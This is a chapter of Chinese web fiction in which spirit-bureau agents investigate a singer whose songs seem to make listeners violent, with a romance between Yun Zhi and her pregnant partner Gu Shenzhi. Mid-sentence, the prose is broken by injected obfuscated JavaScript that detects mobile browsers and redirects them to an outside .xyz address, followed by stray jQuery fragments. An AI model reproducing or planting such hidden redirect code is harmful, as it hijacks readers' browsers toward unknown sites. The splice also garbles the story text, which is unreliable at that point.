“怎么了？”顾慎之疑惑。


    云知深吸一口气，咧嘴笑起，“找到他了。”


    虽然周屿的长相、穿衣风格、性格都做了掩饰，但他的灵无法改变，而刚好，长年的习惯令云知接触一个人时本能感知的，正是对方的灵，因此，周屿才会给她那般熟悉的感觉。


    云知向裴洲汇报了线索，裴洲对周屿展开调查，可是，音乐节后，周屿就如同消失了一般。


    还是要从苏汀下手。


    去见苏汀的那天，从下午就开始淅淅沥沥地下雨，本是有些热的天气，雨后又意外地寒凉。云知最讨厌下雨，踩上一脚泥水，简直能要了她的命，幸好到晚间雨停了，她和顾慎之半个月来第一次走出酒店房间。


    “刑满释放，开心！”


    坐上副驾，系好安全带，云知发现车子迟迟未启动，侧目一看，旁边的人因肚子太大抵在方向盘下，正笨拙地调整原本的座椅位置。


    “等等。”


    云知按住顾慎之要插入安全带卡扣的手，起身缓慢地放回安全带，她撑着胳膊，整个人几乎贴在顾慎之身上。


    分明已经做了那么多次，早已对彼此的身体熟透了，可这种程度的亲近还是足以让顾慎之脸发热起来，他好像永远无法抵抗云知的身体魅力，一靠近，就不由自主地害羞、心跳加速。


    “我们打车去。”说完，云知无视顾慎之的反对，下了车。


    她绕到主驾，拉开车门，那人还在位置上坐着，“我没关系的。”


    “是啊，你总是没关系，”云知嘟囔。她没好气地说：“是我有关系行不行？我有关系，你体谅体谅我，我想打车。”


    拿她没办法，顾慎之只好在她的搀扶下下了车，走了两步，他忽然停下来，云知扶着他胳膊的手收紧，紧张兮兮地问：“怎么了？”


    眉头蹙起，顾慎之不满：“你不要这样扶着我。有点奇怪。”


    好像成了步履蹒跚的老人。他只是怀孕，不是生活不能自理。


    云知转而挽住他，好声好气地问：“顾先生，这样可以吗？”


    顾慎之低脸，“嗯。”


    云知心里嘀咕，孕夫还挺要强。


    这几日，云知的热度有所下降，但为了不节外生枝，她还是买了副墨镜，硕大的镜片往她瘦削的脸颊上一遮，根本认不出半点。


    出租车司机见云知明显一怔，手在手机上戳戳捣捣，云知不想被当做可疑分子，胡乱编了个理由：“最近眼睛做了手术，要避光。”


    “哦哦。我知道，近视眼手术吧！我之前也看别人做过！”


    顺着司机的话，云知含糊应了几声，因开了对话的头，司机与他们侃侃而谈起来，司机说，这几天载了好几个精神病，乘车过程不许他说话就算了，有一个因为他放歌竟然要跳车，他说不知道是哪家精神病院开门把这些人放出来了。


    听着司机胡侃，时间过得飞快。他们与司徒翎在月亮湾别墅区门口碰面，司徒翎刚结束工作过来，坐在车里，云知敲了他的车窗，车窗降下，露出一张像是被吸干了精气的脸，他头发炸着，眼窝深陷，黑眼圈重得仿佛熬了几个月。


    “让我再缓会。”司徒翎躺靠在主驾上，幽幽地吐出这几个字。


    云知和顾慎之上了车，云知坐在副驾，狐疑地打量着他，“你为什么一副纵欲过度的样子？”


    两颗眼珠呆滞地转向云知，“这几天，我大概给100个红莓音乐节的观众做了记忆清除术。”


    虽然人的数量较多，但记忆清除术难度不高，不至于这么疲惫。云知提出疑问，司徒翎颤抖着嘴唇，泫然欲泣，“你之前说我是不信的，现在我信了，苏汀的歌绝对有问题！这些观众都变成了暴躁狂，一发现我们的目的，就和我们大打出手，我们又不能伤害他们，就生生地挨打啊！”


    “那有什么奇怪？普通人最向往神秘力量，你们要剥夺他们的知情权，他们能不暴躁吗？”云知反问。她一向不懂异灵局为何要隐姓埋名，甘愿当默默无闻的守卫，倒不如正大光明地享受素灵体艳羡的目光。


    “可他们也太暴躁了，从前我们做这个工作时，十个里面约莫只有一个会和我们打架，最近我接手了一百人，里面有九十九个一发现我们靠近就要和我们大打出手！”


    安静了几瞬，司徒翎又道：“而且，我找张泉打听了，最近这半个月，素灵体的犯罪率同比暴涨400%！你说，他们是不是被影响了？”


    “他们的灵里有恶灵气息吗？”


    “裴洲让我们随机排查了二十来个人，都没有，他们的灵都普普通通，可他们确实变成了恶人。那天你也在现场，你听了那歌有没有什么感觉呢？”


    “没。”


    “也是，你太强了，估计根本感受不到这种细微的干扰，对了，我回去之后还从档案室调阅了那个白灵出现之前的案件，那些案件发生的时间点越来越密集。”


    “密集？”


    “对，一开始几天发生一起案件，后来几乎每天都有案件，再后来，一天数十起案件，那些人就和现在一样，暴躁，因为一点小小的摩擦就要和别人打打杀杀，死了之后，又会化作恶灵为非作歹。”


    云知记起司机师傅说的话，确实有异常，道：“这种轻微的对灵的改造一次必然不够，需要一次又一次不停地去勾出人心中的恶念，也许，这就是他选择苏汀的原因，苏汀是杀人犯，本身就是恶念之人，又有影响力，可以借他之手改造更多的人。”


    她低头看了眼手表，“不早了，别废话了，行动吧。”


    “啊……”司徒翎长吁短叹。


    云知决定放过他，也放过自己，“算了，我自己去吧，只是去探查，不需要那么多人。”


    “不行。”顾慎之和司徒翎异口同声。


    顾慎之：“我和你去。”


    “不行！”云知和司徒翎异口同声。


    “还是我和你去。”司徒翎挣扎着坐起来。


    云知和司徒翎下车，顾慎之也跟着下来。来之前，他已经争取好半天，统统被驳回。他叹了口气，对云知说：“我听你的安排在这等你们，你也要答应我，不许用自己做诱饵，不许故意受伤。”


    顿了顿，他改道：“不许受伤。”


    云知昂首：“当然，不


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15967425|171761||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    是有司徒翎做诱饵吗？”


    司徒翎：“？”


    迎上那厮的求助目光，顾慎之补充：“也尽量不用司徒翎做诱饵。”


    “是尽量吗？尽量？”司徒翎咆哮。


    “好了好了，开玩笑的。”云知肘了司徒翎一下让他闭嘴。她倾身，猝不及防地在顾慎之侧颊亲了下，“乖乖在这等我们。”


    没等顾慎之从赧然的生理反应里平复心情，俩人已匆匆消失在浓稠的夜色里。


    苏汀的家在小区深处的水湾边，俩人快步前往，在他们之后，一道黑影逐渐靠近。


    蹲在苏汀家对面的树丛里，房子里灯火通明，偌大的客厅玻璃内，一对中年夫妻坐在沙发上，另有一个高中生模样的男生站在茶几那手舞足蹈地说着什么，一家三口，其乐融融。


    “这不是苏汀家？我们是不是搞错了？”司徒翎问。


    “没，”云知漠然地盯着那名高中生，“那是苏汀的弟弟。”


    苏汀父母在苏汀成名后又生了个孩子，夫妻俩不再工作，专注于与小儿子享受天伦之乐，靠苏汀赚来的钱将小儿子送进了国际学校，让小儿子过上了优渥的生活。


    “他们怎么在这？”


    “这栋房子平时就是他们在住。”


    “啊？那我们怎么办？”司徒翎扭脸却见云知正凝视着他。


    云知捏住他的下颌，扭转他的脸。


    侧边，苏棠正眨动着无辜的黑葡萄似的眼睛盯着他。


    “啊——唔。”在司徒翎嚎叫之前，云知眼疾手快捂住他张大的嘴巴。


    因吓到司徒翎，苏汀唇畔浮现出小小的狡黠笑意，而在对上云知的审视后，只剩下心虚与愧疚，“对不起。”


    丰富的表情让苏棠越来越像一个活生生的人，云知不觉得这是件好事，她把手上的口水在司徒翎身上擦干净了，问苏棠：“你为什么在这？”


    原来，苏棠前段时间在翻阅档案时知晓了自己的真实身份，她对生前的家庭太过好奇，于是偷摸来过几次。这次任务结束，她路过这里，再次前来打算远远看一眼，没想到，刚进小区，就见到云知和司徒翎俩人鬼鬼祟祟地在小区内奔跑。


    “你们是要做什么？”苏棠好奇。


    云知同司徒翎使了个眼色，司徒翎两眼一翻开始瞎编，他说他们是接到裴洲的指令来排查苏汀的灵里是否有恶灵碎片，苏棠有些担心，想留下来加入他们。云知再使一个眼色，司徒翎继续编，谎称裴洲在等苏棠回去汇报工作，另外还有别的任务等着安排给她。


    苏棠分辨谎言的能力有限，相信了司徒翎的这拙劣的谎话，“那我先回执灵司，你们注意安全。”


    苏棠走后，云知扭了扭手腕，“走吧。”


    ……


    小区外的车里，顾慎之等得有些烦躁，不时拿出手机来看，赫然发现才过去二十分钟，他张望了两眼，推开车门，下了车。


    “滴滴滴滴……”


    手机铃响，屏幕上跳动着“江岚”的名字。


    他盯着那名字看了几秒，才僵硬地划开接听。


    “慎之，考虑得怎么样了？”